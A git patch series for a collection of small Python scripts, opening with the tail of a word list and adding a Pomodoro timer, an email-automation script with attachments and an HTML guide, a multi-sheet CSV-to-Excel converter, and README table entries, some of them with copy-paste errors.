+shield +shift +shine +ship +shipment +shipments +shipped +shipping +ships +shirt +shirts +shit +shock +shoe +shoes +shoot +shooting +shop +shopper +shoppercom +shoppers +shopping +shoppingcom +shops +shopzilla +shore +short +shortcuts +shorter +shortly +shorts +shot +shots +should +shoulder +show +showcase +showed +shower +showers +showing +shown +shows +showtimes +shut +shuttle +si +sic +sick +side +sides +sie +siemens +sierra +sig +sight +sigma +sign +signal +signals +signature +signatures +signed +significance +significant +significantly +signing +signs +signup +silence +silent +silicon +silk +silly +silver +sim +similar +similarly +simon +simple +simplified +simply +simpson +simpsons +sims +simulation +simulations +simultaneously +sin +since +sing +singapore +singer +singh +singing +single +singles +sink +sip +sir +sister +sisters +sit +site +sitemap +sites +sitting +situated +situation +situations +six +sixth +size +sized +sizes +sk +skating +ski +skiing +skill +skilled +skills +skin +skins +skip +skirt +skirts +sku +sky +skype +sl +slave +sleep +sleeping +sleeps +sleeve +slide +slides +slideshow +slight +slightly +slim +slip +slope +slot +slots +slovak +slovakia +slovenia +slow +slowly +slut +sluts +sm +small +smaller +smart +smell +smile +smilies +smith +smithsonian +smoke +smoking +smooth +sms +smtp +sn +snake +snap +snapshot +snow +snowboard +so +soa +soap +soc +soccer +social +societies +society +sociology +socket +socks +sodium +sofa +soft +softball +software +soil +sol +solar +solaris +sold +soldier +soldiers +sole +solely +solid +solo +solomon +solution +solutions +solve +solved +solving +soma +somalia +some +somebody +somehow +someone +somerset +something +sometimes +somewhat +somewhere +son +song +songs +sonic +sons +sony +soon +soonest +sophisticated +sorry +sort +sorted +sorts +sought +soul +souls +sound +sounds +soundtrack +soup +source +sources +south +southampton +southeast +southern +southwest +soviet +sox +sp +spa +space +spaces +spain +spam +span +spanish +spank +spanking +sparc +spare +spas +spatial +speak +speaker +speakers +speaking +speaks +spears +spec +special +specialist +specialists +specialized +specializing +specially +specials +specialties +specialty +species +specific +specifically +specification +specifications +specifics +specified +specifies +specify +specs +spectacular +spectrum +speech +speeches +speed +speeds +spell +spelling +spencer +spend +spending +spent +sperm +sphere +spice +spider +spies +spin +spine +spirit +spirits +spiritual +spirituality +split +spoke +spoken +spokesman +sponsor +sponsored +sponsors +sponsorship +sport +sporting +sports +spot +spotlight +spots +spouse +spray +spread +spreading +spring +springer +springfield +springs +sprint +spy +spyware +sq +sql +squad +square +squirt +squirting +sr +src +sri +ss +ssl +st +stability +stable +stack +stadium +staff +staffing +stage +stages +stainless +stakeholders +stamp +stamps +stan +stand +standard +standards +standing +standings +stands +stanford +stanley +star +starring +stars +starsmerchant +start +started +starter +starting +starts +startup +stat +state +stated +statement +statements +states +statewide +static +stating +station +stationery +stations +statistical +statistics +stats +status +statute +statutes +statutory +stay +stayed +staying +stays +std +ste +steady +steal +steam +steel +steering +stem +step +stephanie +stephen +steps +stereo +sterling +steve +steven +stevens +stewart +stick +sticker +stickers +sticks +sticky +still +stock +stockholm +stockings +stocks +stolen +stomach +stone +stones +stood +stop +stopped +stopping +stops +storage +store +stored +stores +stories +storm +story +str +straight +strain +strand +strange +stranger +strap +strategic +strategies +strategy +stream +streaming +streams +street +streets +strength +strengthen +strengthening +strengths +stress +stretch +strict +strictly +strike +strikes +striking +string +strings +strip +stripes +strips +stroke +strong +stronger +strongly +struck +struct +structural +structure +structured +structures +struggle +stuart +stuck +stud +student +students +studied +studies +studio +studios +study +studying +stuff +stuffed +stunning +stupid +style +styles +stylish +stylus +su +sub +subaru +subcommittee +subdivision +subject +subjects +sublime +sublimedirectory +submission +submissions +submit +submitted +submitting +subscribe +subscriber +subscribers +subscription +subscriptions +subsection +subsequent +subsequently +subsidiaries +subsidiary +substance +substances +substantial +substantially +substitute +subtle +suburban +succeed +success +successful +successfully +such +suck +sucking +sucks +sudan +sudden +suddenly +sue +suffer +suffered +suffering +sufficient +sufficiently +sugar +suggest +suggested +suggesting +suggestion +suggestions +suggests +suicide +suit +suitable +suite +suited +suites +suits +sullivan +sum +summaries +summary +summer +summit +sun +sunday +sunglasses +sunny +sunrise +sunset +sunshine +super +superb +superintendent +superior +supervision +supervisor +supervisors +supplement +supplemental +supplements +supplied +supplier +suppliers +supplies +supply +support +supported +supporters +supporting +supports +suppose +supposed +supreme +sur +sure +surely +surf +surface +surfaces +surfing +surge +surgeon +surgeons +surgery +surgical +surname +surplus +surprise +surprised +surprising +surrey +surround +surrounded +surrounding +surveillance +survey +surveys +survival +survive +survivor +survivors +susan +suse +suspect +suspected +suspended +suspension +sussex +sustainability +sustainable +sustained +suzuki +sv +sw +swap +sweden +swedish +sweet +swift +swim +swimming +swing +swingers +swiss +switch +switched +switches +switching +switzerland +sword +sydney +symantec +symbol +symbols +sympathy +symphony +symposium +symptoms +sync +syndicate +syndication +syndrome +synopsis +syntax +synthesis +synthetic +syracuse +syria +sys +system +systematic +systems +t +ta +tab +table +tables +tablet +tablets +tabs +tackle +tactics +tag +tagged +tags +tahoe +tail +taiwan +take +taken +takes +taking +tale +talent +talented +tales +talk +talked +talking +talks +tall +tamil +tampa +tan +tank +tanks +tanzania +tap +tape +tapes +tar +target +targeted +targets +tariff +task +tasks +taste +tattoo +taught +tax +taxation +taxes +taxi +taylor +tb +tba +tc +tcp +td +te +tea +teach +teacher +teachers +teaches +teaching +team +teams +tear +tears +tech +technical +technician +technique +techniques +techno +technological +technologies +technology +techrepublic +ted +teddy +tee +teen +teenage +teens +teeth +tel +telecharger +telecom +telecommunications +telephone +telephony +telescope +television +televisions +tell +telling +tells +temp +temperature +temperatures +template +templates +temple +temporal +temporarily +temporary +ten +tenant +tend +tender +tennessee +tennis +tension +tent +term +terminal +terminals +termination +terminology +terms +terrace +terrain +terrible +territories +territory +terror +terrorism +terrorist +terrorists +terry +test +testament +tested +testimonials +testimony +testing +tests +tex +texas +text +textbook +textbooks +textile +textiles +texts +texture +tf +tft +tgp +th +thai +thailand +than +thank +thanks +thanksgiving +that +thats +the +theater +theaters +theatre +thee +theft +thehun +their +them +theme +themes +themselves +then +theology +theorem +theoretical +theories +theory +therapeutic +therapist +therapy +there +thereafter +thereby +therefore +thereof +thermal +thesaurus +these +thesis +they +thick +thickness +thin +thing +things +think +thinking +thinkpad +thinks +third +thirty +this +thomas +thompson +thomson +thong +thongs +thorough +thoroughly +those +thou +though +thought +thoughts +thousand +thousands +thread +threaded +threads +threat +threatened +threatening +threats +three +threesome +threshold +thriller +throat +through +throughout +throw +throwing +thrown +throws +thru +thu +thumb +thumbnail +thumbnails +thumbs +thumbzilla +thunder +thursday +thus +thy +ti +ticket +tickets +tide +tie +tied +tier +ties +tiffany +tiger +tigers +tight +til +tile +tiles +till +tim +timber +time +timeline +timely +timer +times +timing +timothy +tin +tiny +tion +tions +tip +tips +tire +tired +tires +tissue +tit +titanium +titans +title +titled +titles +tits +titten +tm +tmp +tn +to +tobacco +tobago +today +todd +toddler +toe +together +toilet +token +tokyo +told +tolerance +toll +tom +tomato +tomatoes +tommy +tomorrow +ton +tone +toner +tones +tongue +tonight +tons +tony +too +took +tool +toolbar +toolbox +toolkit +tools +tooth +top +topic +topics +topless +tops +toronto +torture +toshiba +total +totally +totals +touch +touched +tough +tour +touring +tourism +tourist +tournament +tournaments +tours +toward +towards +tower +towers +town +towns +township +toxic +toy +toyota +toys +tp +tr +trace +track +trackback +trackbacks +tracked +tracker +tracking +tracks +tract +tractor +tracy +trade +trademark +trademarks +trader +trades +trading +tradition +traditional +traditions +traffic +tragedy +trail +trailer +trailers +trails +train +trained +trainer +trainers +training +trains +tramadol +trance +tranny +trans +transaction +transactions +transcript +transcription +transcripts +transexual +transexuales +transfer +transferred +transfers +transform +transformation +transit +transition +translate +translated +translation +translations +translator +transmission +transmit +transmitted +transparency +transparent +transport +transportation +transsexual +trap +trash +trauma +travel +traveler +travelers +traveling +traveller +travelling +travels +travesti +travis +tray +treasure +treasurer +treasures +treasury +treat +treated +treating +treatment +treatments +treaty +tree +trees +trek +trembl +tremendous +trend +trends +treo +tri +trial +trials +triangle +tribal +tribe +tribes +tribunal +tribune +tribute +trick +tricks +tried +tries +trigger +trim +trinidad +trinity +trio +trip +tripadvisor +triple +trips +triumph +trivia +troops +tropical +trouble +troubleshooting +trout +troy +truck +trucks +true +truly +trunk +trust +trusted +trustee +trustees +trusts +truth +try +trying +ts +tsunami +tt +tu +tub +tube +tubes +tucson +tue +tuesday +tuition +tulsa +tumor +tune +tuner +tunes +tuning +tunisia +tunnel +turbo +turkey +turkish +turn +turned +turner +turning +turns +turtle +tutorial +tutorials +tv +tvcom +tvs +twelve +twenty +twice +twiki +twin +twinks +twins +twist +twisted +two +tx +ty +tyler +type +types +typical +typically +typing +u +uc +uganda +ugly +uh +ui +uk +ukraine +ul +ultimate +ultimately +ultra +ultram +um +un +una +unable +unauthorized +unavailable +uncertainty +uncle +und +undefined +under +undergraduate +underground +underlying +understand +understanding +understood +undertake +undertaken +underwear +undo +une +unemployment +unexpected +unfortunately +uni +unified +uniform +union +unions +uniprotkb +unique +unit +united +units +unity +univ +universal +universe +universities +university +unix +unknown +unless +unlike +unlikely +unlimited +unlock +unnecessary +unsigned +unsubscribe +until +untitled +unto +unusual +unwrap +up +upc +upcoming +update +updated +updates +updating +upgrade +upgrades +upgrading +upload +uploaded +upon +upper +ups +upset +upskirt +upskirts +ur +urban +urge +urgent +uri +url +urls +uruguay +urw +us +usa +usage +usb +usc +usd +usda +use +used +useful +user +username +users +uses +usgs +using +usps +usr +usual +usually +ut +utah +utc +utilities +utility +utilization +utilize +utils +uv +uw +uzbekistan +v +va +vacancies +vacation +vacations +vaccine +vacuum +vagina +val +valentine +valid +validation +validity +valium +valley +valuable +valuation +value +valued +values +valve +valves +vampire +van +vancouver +vanilla +var +variable +variables +variance +variation +variations +varied +varies +variety +various +vary +varying +vast +vat +vatican +vault +vb +vbulletin +vc +vcr +ve +vector +vegas +vegetable +vegetables +vegetarian +vegetation +vehicle +vehicles +velocity +velvet +vendor +vendors +venezuela +venice +venture +ventures +venue +venues +ver +verbal +verde +verification +verified +verify +verizon +vermont +vernon +verse +version +versions +versus +vertex +vertical +very +verzeichnis +vessel +vessels +veteran +veterans +veterinary +vg +vhs +vi +via +viagra +vibrator +vibrators +vic +vice +victim +victims +victor +victoria +victorian +victory +vid +video +videos +vids +vienna +vietnam +vietnamese +view +viewed +viewer +viewers +viewing +viewpicture +views +vii +viii +viking +villa +village +villages +villas +vincent +vintage +vinyl +violation +violations +violence +violent +violin +vip +viral +virgin +virginia +virtual +virtually +virtue +virus +viruses +visa +visibility +visible +vision +visit +visited +visiting +visitor +visitors +visits +vista +visual +vital +vitamin +vitamins +vocabulary +vocal +vocals +vocational +voice +voices +void +voip +vol +volkswagen +volleyball +volt +voltage +volume +volumes +voluntary +volunteer +volunteers +volvo +von +vote +voted +voters +votes +voting +voyeur +voyeurweb +voyuer +vp +vpn +vs +vsnet +vt +vulnerability +vulnerable +w +wa +wage +wages +wagner +wagon +wait +waiting +waiver +wake +wal +wales +walk +walked +walker +walking +walks +wall +wallace +wallet +wallpaper +wallpapers +walls +walnut +walt +walter +wan +wang +wanna +want +wanted +wanting +wants +war +warcraft +ward +ware +warehouse +warm +warming +warned +warner +warning +warnings +warrant +warranties +warranty +warren +warrior +warriors +wars +was +wash +washer +washing +washington +waste +watch +watched +watches +watching +water +waterproof +waters +watershed +watson +watt +watts +wav +wave +waves +wax +way +wayne +ways +wb +wc +we +weak +wealth +weapon +weapons +wear +wearing +weather +web +webcam +webcams +webcast +weblog +weblogs +webmaster +webmasters +webpage +webshots +website +websites +webster +wed +wedding +weddings +wednesday +weed +week +weekend +weekends +weekly +weeks +weight +weighted +weights +weird +welcome +welding +welfare +well +wellington +wellness +wells +welsh +wendy +went +were +wesley +west +western +westminster +wet +whale +what +whatever +whats +wheat +wheel +wheels +when +whenever +where +whereas +wherever +whether +which +while +whilst +white +who +whole +wholesale +whom +whore +whose +why +wi +wichita +wicked +wide +widely +wider +widescreen +widespread +width +wife +wifi +wiki +wikipedia +wild +wilderness +wildlife +wiley +will +william +williams +willing +willow +wilson +win +wind +window +windows +winds +windsor +wine +wines +wing +wings +winner +winners +winning +wins +winston +winter +wire +wired +wireless +wires +wiring +wisconsin +wisdom +wise +wish +wishes +wishlist +wit +witch +with +withdrawal +within +without +witness +witnesses +wives +wizard +wm +wma +wn +wolf +woman +women +womens +won +wonder +wonderful +wondering +wood +wooden +woods +wool +worcester +word +wordpress +words +work +worked +worker +workers +workflow +workforce +working +workout +workplace +works +workshop +workshops +workstation +world +worldcat +worlds +worldsex +worldwide +worm +worn +worried +worry +worse +worship +worst +worth +worthy +would +wound +wow +wp +wr +wrap +wrapped +wrapping +wrestling +wright +wrist +write +writer +writers +writes +writing +writings +written +wrong +wrote +ws +wt +wto +wu +wv +ww +www +wx +wy +wyoming +x +xanax +xbox +xerox +xhtml +xi +xl +xml +xnxx +xp +xx +xxx +y +ya +yacht +yahoo +yale +yamaha +yang +yard +yards +yarn +ye +yea +yeah +year +yearly +years +yeast +yellow +yemen +yen +yes +yesterday +yet +yield +yields +yn +yo +yoga +york +yorkshire +you +young +younger +your +yours +yourself +youth +yr +yrs +yu +yugoslavia +yukon +z +za +zambia +zdnet +zealand +zen +zero +zimbabwe +zinc +zip +zoloft +zone +zones +zoning +zoo +zoom +zoophilia +zope +zshops +zu +zum +zus \ No newline at end of file diff --git a/README.md b/README.md index d15f4e8b..b5ac43db 100644 --- a/README.md +++ b/README.md @@ -38,6 +38,7 @@ More information on contributing and the general code of conduct for discussion | Arrange It | [Arrange It](https://github.com/DhanushNehru/Python-Scripts/tree/master/Arrange%20It) | A Python script that can automatically move files into corresponding folders based on their extensions. | | Auto WiFi Check | [Auto WiFi Check](https://github.com/DhanushNehru/Python-Scripts/tree/master/Auto%20WiFi%20Check) | A Python script to monitor if the WiFi connection is active or not | AutoCert | [AutoCert](https://github.com/DhanushNehru/Python-Scripts/tree/master/AutoCert) | A Python script to auto-generate e-certificates in bulk. | +| Autocomplete Notes App | [AutoCert](https://github.com/DhanushNehru/Python-Scripts/tree/master/Autocomplete%20Notes%20App) | A Python script to auto-generate e-certificates in bulk. | | Automated Emails | [Automated Emails](https://github.com/DhanushNehru/Python-Scripts/tree/master/Automate%20Emails%20Daily) | A Python script to send out personalized emails by reading a CSV file. | | Black Hat Python | [Black Hat Python](https://github.com/DhanushNehru/Python-Scripts/tree/master/Black%20Hat%20Python) | Source code from the book Black Hat Python | | Blackjack | [Blackjack](https://github.com/DhanushNehru/Python-Scripts/tree/master/Blackjack) | A game of Blackjack - let's get a 21. | From db40916edfc02183d83030ba6cd3c9ca4cd23775 Mon Sep 17 00:00:00 2001 From: Maximiliano Date: Mon, 7 Oct 2024 05:46:34 -0600 Subject: [PATCH 13/74] Added Pomodoro Timer (#302) * Added Pomodoro Timer * Update README.md * Update README.md --- Pomodoro Timer/Pomodoro Timer MacOS Linux.py | 24 ++++++++++++++ Pomodoro Timer/Pomodoro Timer Windows.py | 24 ++++++++++++++ Pomodoro Timer/README.md | 33 ++++++++++++++++++++ README.md | 1 + 4 files changed, 82 insertions(+) create mode 100644 Pomodoro Timer/Pomodoro Timer MacOS Linux.py create mode 100644 Pomodoro Timer/Pomodoro Timer Windows.py create mode 100644 Pomodoro Timer/README.md diff --git a/Pomodoro Timer/Pomodoro Timer MacOS Linux.py b/Pomodoro Timer/Pomodoro Timer MacOS Linux.py new file mode 100644 index 00000000..43fca53d --- /dev/null +++ b/Pomodoro Timer/Pomodoro Timer MacOS Linux.py @@ -0,0 +1,24 @@ +# Pomodoro Timer for macOS/Linux +import time +import os + +def pomodoro_timer_unix(work_duration=25, break_duration=5, cycles=4): + for cycle in range(cycles): + print(f"Cycle {cycle + 1}/{cycles}: Start working for {work_duration} minutes.") + time.sleep(work_duration * 60) + os.system('echo -e "\a"') # Make a beep sound on macOS/Linux + print("Time's up! Take a break.") + + print(f"Break time! Relax for {break_duration} minutes.") + time.sleep(break_duration * 60) + os.system('echo -e "\a"') # Make a beep sound on macOS/Linux + print("Break is over! Back to work.") + + print("All cycles completed! Great job!") + +if __name__ == "__main__": + work_duration = int(input("Enter work duration in minutes (default is 25): ") or 25) + break_duration = int(input("Enter break duration in minutes (default is 5): ") or 5) + cycles = int(input("Enter number of cycles (default is 4): ") or 4) + + pomodoro_timer_unix(work_duration, break_duration, cycles) diff --git a/Pomodoro Timer/Pomodoro Timer Windows.py b/Pomodoro Timer/Pomodoro Timer Windows.py new file mode 100644 index 00000000..8687c954 --- /dev/null +++ b/Pomodoro Timer/Pomodoro Timer Windows.py @@ -0,0 +1,24 @@ +# Pomodoro Timer for Windows +import time +import winsound + +def pomodoro_timer_windows(work_duration=25, break_duration=5, cycles=4): + for cycle in range(cycles): + print(f"Cycle {cycle + 1}/{cycles}: Start working for {work_duration} minutes.") + time.sleep(work_duration * 60) + winsound.Beep(1000, 1000) # Sound an alert to indicate work period end + print("Time's up! Take a break.") + + print(f"Break time! Relax for {break_duration} minutes.") + time.sleep(break_duration * 60) + winsound.Beep(1000, 1000) # Sound an alert to indicate break period end + print("Break is over! Back to work.") + + print("All cycles completed! Great job!") + +if __name__ == "__main__": + work_duration = int(input("Enter work duration in minutes (default is 25): ") or 25) + break_duration = int(input("Enter break duration in minutes (default is 5): ") or 5) + cycles = int(input("Enter number of cycles (default is 4): ") or 4) + + pomodoro_timer_windows(work_duration, break_duration, cycles) diff --git a/Pomodoro Timer/README.md b/Pomodoro Timer/README.md new file mode 100644 index 00000000..b1620918 --- /dev/null +++ b/Pomodoro Timer/README.md @@ -0,0 +1,33 @@ +# Pomodoro Timer +## šŸ“‹ Overview +The Pomodoro Timer is a productivity tool designed to help you manage your time efficiently using the Pomodoro Technique. It splits your work into intervals—typically 25 minutes of focused work followed by a 5-minute break. This cycle helps to boost focus and prevent burnout by encouraging regular breaks. The script is cross-platform, supporting both Windows and macOS/Linux. + +## ✨ Features +- **Customizable Work and Break Durations:** Set your preferred time for work and break sessions. +- **Support for Multiple Cycles:** Run multiple Pomodoro sessions in a row. +- **Platform-Specific Alerts:** +- **Windows:** Uses sound alerts (winsound) to notify users when a session is complete. +- **macOS/Linux:** Uses terminal beep commands for notifications. + +## Running the script +1. **Clone the Repository or Download the Script:** +- clone the repository: +``` +git clone https://github.com/max-lopzzz/Python-Scripts/tree/master/Pomodoro%20Timer +``` +- Or download the script directly from the repository page. +2. **Navigate to the Script Location:** Open your terminal (Command Prompt on Windows, Terminal on macOS/Linux) and navigate to the folder containing the script: +``` +cd path/to/your/script +``` +3. **Run the Script:** Execute the script using Python: +``` +python pomodoro_timer.py +``` +or, if `python` points to Python 2.x on your system: +``` +python3 pomodoro_timer.py +``` +### Customizing Durations +- Once the script runs, it may prompt you to enter custom durations for both work and break intervals. +- Simply follow the prompts to customize your session lengths. diff --git a/README.md b/README.md index b5ac43db..97710f02 100644 --- a/README.md +++ b/README.md @@ -97,6 +97,7 @@ More information on contributing and the general code of conduct for discussion | Playlist Exchange | [Playlist Exchange](https://github.com/DhanushNehru/Python-Scripts/tree/master/Playlist%20Exchange) | A Python script to exchange songs and playlists between Spotify and Python. | Pigeonhole Sort | [Algorithm](https://github.com/DhanushNehru/Python-Scripts/tree/master/PigeonHole) | The pigeonhole sort algorithm to sort your arrays efficiently! | PNG TO JPG CONVERTOR | [PNG-To-JPG](https://github.com/DhanushNehru/Python-Scripts/tree/master/PNG%20To%20JPG) | A PNG TO JPG IMAGE CONVERTOR. +| Pomodoro Timer | [Pomodoro Timer](https://github.com/DhanushNehru/Python-Scripts/tree/master/Pomodoro%20Timer) | A Pomodoro timer | Python GUI Notepad | [Python GUI Notepad](https://github.com/DhanushNehru/Python-Scripts/blob/master/PDF%20Merger%20and%20Splitter/PDF%20Merger%20and%20Splitter.py) | A Python-based GUI Notepad with essential features like saving, opening, editing text files, basic formatting, and a simple user interface for quick note-taking. | QR Code Generator | [QR Code Generator](https://github.com/DhanushNehru/Python-Scripts/tree/master/QR%20Code%20Generator) | This is generate a QR code from the provided link | | QR Code with logo | [QR code with Logo](https://github.com/DhanushNehru/Python-Scripts/tree/master/QR%20with%20Logo) | QR Code Customization Feature From c77b6ac9bb8565b7f676f8399014db66ab1959d8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C2=96=C2=96Stonebanks-js?= Date: Tue, 8 Oct 2024 19:37:15 +0530 Subject: [PATCH 14/74] Added a feature and READme.md guide --- Automate Emails Daily/README.md | 151 ++++++++++++++++++++++++++++++++ Automate Emails Daily/main.py | 50 ++++++++--- 2 files changed, 191 insertions(+), 10 deletions(-) create mode 100644 Automate Emails Daily/README.md diff --git a/Automate Emails Daily/README.md b/Automate Emails Daily/README.md new file mode 100644 index 00000000..b4b02f72 --- /dev/null +++ b/Automate Emails Daily/README.md @@ -0,0 +1,151 @@ +# Guidebook: Email Automation Script with Advanced Features + +# Overview + +This Python script automates the process of sending emails to multiple recipients with enhanced features such as support for attachments and HTML-formatted emails. The script uses Python's built-in libraries (smtplib, ssl, and email) to send emails securely through Gmail's SMTP server. It also allows the user to customize the email's content, subject, recipients, and more via environment variables or in-script configuration. + +# Features Added + +1. Support for Attachments: You can now attach files to the email, making it more versatile for different use cases like sending reports, documents, or images. +2. HTML Email Support: You can send emails in HTML format, giving you more flexibility with rich text formatting, embedded links, and other styling options. + +# Prerequisites + +1. Python 3.x +2. A Gmail account (with less secure apps access enabled or an app-specific password if using 2FA) +3. Required libraries: smtplib, ssl, os, email (all built-in Python libraries) + +# Environment Setup +To ensure security, it's recommended to store sensitive information like email credentials in environment variables. For this guide, we will store the Gmail password as an environment variable: + +export EMAIL_PASSWORD='your_gmail_password' + +# Code Breakdown +1. Import Required Modules + +import smtplib +import ssl +import os +from email.message import EmailMessage +from email.utils import formataddr +------------------------------------------------------------------------------------- +smtplib: Used to create the connection to the Gmail SMTP server. +ssl: Provides a layer of security for the email communication. +os: Used to access environment variables (like the email password). +email.message: Allows crafting email messages, including text, HTML, and attachments. + +**send_email Function** + +This is the main function that sends the email. + +Function Parameters: +sender_email (str): The email address sending the email. +sender_name (str): The sender's name that will appear in the email. +password (str): The sender's email password, pulled from environment variables. +receiver_emails (list): A list of email addresses to send the email to. +email_body (str): The body of the email, which can be in plain text or HTML. +email_subject (str): The subject line of the email. Default is "No subject." + +**Example Function** + +send_email( + sender_email="youremail@gmail.com", + sender_name="Your Name", + password=os.environ.get("EMAIL_PASSWORD"), + receiver_emails=["recipient1@gmail.com", "recipient2@gmail.com"], + email_body="Hello, this is a test email!", + email_subject="Test Email" +) + +------------------------------------------------------------------------------------- + +**Setting Up Email Headers** +The email headers include the subject, sender, recipient, and format: + +msg["Subject"] = email_subject +msg["From"] = formataddr((f"{sender_name}", f"{sender_email}")) +msg["BCC"] = sender_email +msg.set_content(email_body) # This can also be an HTML body + +------------------------------------------------------------------------------------- + +**SMTP Server Connection** +Here we establish a connection to Gmail's SMTP server and use TLS (Transport Layer Security) to ensure a secure connection. + +smtp_port = 587 +smtp_server = "smtp.gmail.com" +ssl_context = ssl.create_default_context() + +------------------------------------------------------------------------------------- + +**Login and Sending the Email** +After logging in, the script loops through each recipient in the receiver_emails list and sends the email. + +my_server = smtplib.SMTP(smtp_server, smtp_port) +my_server.starttls(context=ssl_context) +my_server.login(sender_email, password) + +------------------------------------------------------------------------------------- + +**Adding Attachments** +If you want to send attachments, use the following modification: + +if attachments: + for file in attachments: + with open(file, "rb") as f: + file_data = f.read() + file_name = os.path.basename(file) + msg.add_attachment(file_data, maintype='application', subtype='octet-stream', filename=file_name) + +------------------------------------------------------------------------------------- + +**Sending HTML Emails** +To send HTML emails, modify the email body to contain HTML: + +msg.add_alternative("""\ + + +

Hello,
+ This is an HTML email!

+ + + """, subtype='html') + + ------------------------------------------------------------------------------------- + +**Error Handling** +The script includes basic error handling to notify you if the connection or email-sending process fails: + +except Exception as e: + print(f"ERROR: {e}") + +-------------------------------------------------------------------------------------- + +**Full Example with Attachment and HTML Support** + +send_email( + sender_email="youremail@gmail.com", + sender_name="Your Name", + password=os.environ.get("EMAIL_PASSWORD"), + receiver_emails=["recipient1@gmail.com", "recipient2@gmail.com"], + email_body="

This is a Test Email with HTML

", + email_subject="Test Email with HTML and Attachment", + attachments=["path/to/attachment1", "path/to/attachment2"] +) + + +-------------------------------------------------------------------------------------- + +# How to run the script + +Ensure the required environment variable (EMAIL_PASSWORD) is set. +Customize the sender email, receiver emails, email body, and subject in the script. +Run the script from the command line: + +python email_automation.py or main.py + +You can also schedule the script to run daily using cron jobs or Task Scheduler (Windows). + + +# Thank You for reading this tutorial. I hope you found it helpful. If you have any questions or need further + diff --git a/Automate Emails Daily/main.py b/Automate Emails Daily/main.py index 38698858..490e48ee 100644 --- a/Automate Emails Daily/main.py +++ b/Automate Emails Daily/main.py @@ -3,20 +3,46 @@ import os from email.message import EmailMessage from email.utils import formataddr +from mimetypes import guess_type def send_email(sender_email: str, sender_name: str, password:str, - receiver_emails: str , + receiver_emails: list, email_body: str, - email_subject: str="No subject",)-> None: + email_subject: str = "No subject", + is_html: bool = False, + attachments: list = None) -> None: msg = EmailMessage() msg["Subject"] = email_subject msg["From"] = formataddr((f"{sender_name}", f"{sender_email}")) - msg["BCC"] = sender_email - msg.set_content(email_body) + msg["BCC"] = sender_email # Can add CC or BCC here if needed + # Support both plain text and HTML emails + if is_html: + msg.add_alternative(email_body, subtype='html') + else: + msg.set_content(email_body) + + # Add attachments if provided + if attachments: + for file_path in attachments: + try: + with open(file_path, 'rb') as file: + file_data = file.read() + file_name = os.path.basename(file_path) + mime_type, _ = guess_type(file_path) + if mime_type: + mime_main, mime_subtype = mime_type.split('/') + else: + mime_main, mime_subtype = 'application', 'octet-stream' + + msg.add_attachment(file_data, maintype=mime_main, subtype=mime_subtype, filename=file_name) + print(f"Attached file: {file_name}") + except Exception as e: + print(f"Failed to attach {file_path}: {e}") + smtp_port = 587 smtp_server = "smtp.gmail.com" @@ -48,14 +74,18 @@ def send_email(sender_email: str, finally: my_server.quit() -# change these variables to suite your requirements +# Example usage sender_email = "your-email@gmail.com" sender_name = "your name" password = os.environ.get("EMAIL_PASSWORD") -email_subject = "good morning" -email_body = "good morning, hope you have a wonderful day" - -receiver_emails = ["receiver1-email@gmail.com", "receiver2-email@gmail.com", "receiver3-email@gmail.com"] +email_subject = "Good morning" +email_body = """ +

Good Morning!

+

Hope you have a wonderful day.

+""" +receiver_emails = ["receiver1-email@gmail.com", "receiver2-email@gmail.com"] +attachments = ["path/to/attachment1.pdf", "path/to/attachment2.jpg"] -send_email(sender_email, sender_name, password, receiver_emails, email_body,email_subject) \ No newline at end of file +# Sending the email as HTML with attachments +send_email(sender_email, sender_name, password, receiver_emails, email_body, email_subject, is_html=True, attachments=attachments) From 5483f87a23a6d9bd8e39fad6e306a74ac8e61921 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=C2=96=C2=96Stonebanks-js?= Date: Thu, 10 Oct 2024 00:56:06 +0530 Subject: [PATCH 15/74] feat: Add CSV delimiter selection and cell styling to CSV to Excel script --- CSV to Excel/csv_excel.py | 81 +++++++++++++++++++++++++-------------- 1 file changed, 53 insertions(+), 28 deletions(-) diff --git a/CSV to Excel/csv_excel.py b/CSV to Excel/csv_excel.py index 19fa8e11..4fca88ed 100644 --- a/CSV to Excel/csv_excel.py +++ b/CSV to Excel/csv_excel.py @@ -1,37 +1,62 @@ import openpyxl import os +from openpyxl.styles import Font, PatternFill # Get the CSV and Excel file names from the user -csv_name = input("Name of the input CSV file with extension: ") -sep = input("Separator of the CSV file: ") -excel_name = input("Name of the output excel file with extension: ") -sheet_name = input("Name of the output excel sheet: ") +csv_files = input("Enter the CSV files separated by commas (e.g., file1.csv, file2.csv): ").split(',') +sep = input("Separator of the CSV files (default is ','): ") or ',' # Default to comma separator if not provided +excel_name = input("Name of the output Excel file with extension: ") -# Load the CSV file +# Load or create Excel workbook if os.path.exists(excel_name): workbook = openpyxl.load_workbook(excel_name) - sheet = workbook[sheet_name] if sheet_name in workbook.sheetnames else workbook.create_sheet(sheet_name) else: workbook = openpyxl.Workbook() - sheet = workbook.active - sheet.title = sheet_name - -# Write the CSV data to the Excel sheet -try: - with open(csv_name, "r", encoding="utf-8") as file: - excel_row = 1 - for line in file: - data = line.strip().split(sep) - excel_column = 1 - for value in data: - sheet.cell(row=excel_row, column=excel_column, value=value) - excel_column += 1 - excel_row += 1 - - # Save the Excel file - workbook.save(excel_name) - -except FileNotFoundError: - print("Error: The CSV file was not found.") -except Exception as e: - print(f"An error occurred: {e}") \ No newline at end of file + +# Loop over multiple CSV files to write them into different sheets +for csv_name in csv_files: + csv_name = csv_name.strip() # Trim any whitespace + sheet_name = os.path.splitext(os.path.basename(csv_name))[0] # Sheet name based on the CSV filename + + # Create a new sheet for each CSV file + if sheet_name in workbook.sheetnames: + sheet = workbook[sheet_name] + else: + sheet = workbook.create_sheet(sheet_name) + + # Write CSV data to the Excel sheet + try: + with open(csv_name, "r", encoding="utf-8") as file: + excel_row = 1 + header_detected = False # Flag to check if header formatting should be applied + + for line in file: + data = line.strip().split(sep) + excel_column = 1 + + # Apply header formatting for the first row (headers) + if not header_detected: + for value in data: + cell = sheet.cell(row=excel_row, column=excel_column, value=value) + # Apply bold font and background color for the header row + cell.font = Font(bold=True) + cell.fill = PatternFill(start_color="FFFF00", end_color="FFFF00", fill_type="solid") + excel_column += 1 + header_detected = True # Mark the first row as header + else: + for value in data: + sheet.cell(row=excel_row, column=excel_column, value=value) + excel_column += 1 + + excel_row += 1 + + except FileNotFoundError: + print(f"Error: The CSV file '{csv_name}' was not found.") + except Exception as e: + print(f"An error occurred while processing {csv_name}: {e}") + +# Save the Excel file with all sheets +workbook.save(excel_name) + +print(f"All CSV files have been processed and saved to {excel_name}.") + From 